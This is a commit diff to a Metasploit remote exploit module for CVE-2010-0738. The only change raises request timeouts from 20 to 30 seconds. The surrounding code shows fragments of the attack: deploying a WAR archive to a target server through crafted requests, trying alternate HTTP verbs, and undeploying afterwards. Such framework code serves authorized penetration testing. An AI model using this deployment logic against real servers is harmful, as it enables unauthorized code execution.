Added support for CVE-2010-0738, msftidy

unstable
h0ng10 2012-08-15 15:47:14 -04:00
parent e5498e3e1d
commit 6965431389
1 changed files with 10 additions and 10 deletions

View File

@ -203,7 +203,7 @@ class Metasploit3 < Msf::Exploit::Remote
'argType' => 'java.lang.String', 'argType' => 'java.lang.String',
'arg0' => service_url 'arg0' => service_url
} }
}, 20) }, 30)
end end
if (! res) if (! res)
fail_with(Exploit::Failure::Unknown, "Unable to deploy WAR archive [No Response]") fail_with(Exploit::Failure::Unknown, "Unable to deploy WAR archive [No Response]")
@ -250,7 +250,7 @@ class Metasploit3 < Msf::Exploit::Remote
res = send_request_cgi({ res = send_request_cgi({
'uri' => uri, 'uri' => uri,
'method' => tmp_verb 'method' => tmp_verb
}, 20) }, 30)
msg = nil msg = nil
if (! res) if (! res)
@ -289,7 +289,7 @@ class Metasploit3 < Msf::Exploit::Remote
'argType' => 'java.lang.String', 'argType' => 'java.lang.String',
'arg0' => app_base 'arg0' => app_base
} }
}, 20) }, 30)
if (! res) if (! res)
print_error("WARNING: Undeployment failed on #{app_base} [No Response]") print_error("WARNING: Undeployment failed on #{app_base} [No Response]")
elsif (res.code == 500 and datastore['VERB'] == 'POST') elsif (res.code == 500 and datastore['VERB'] == 'POST')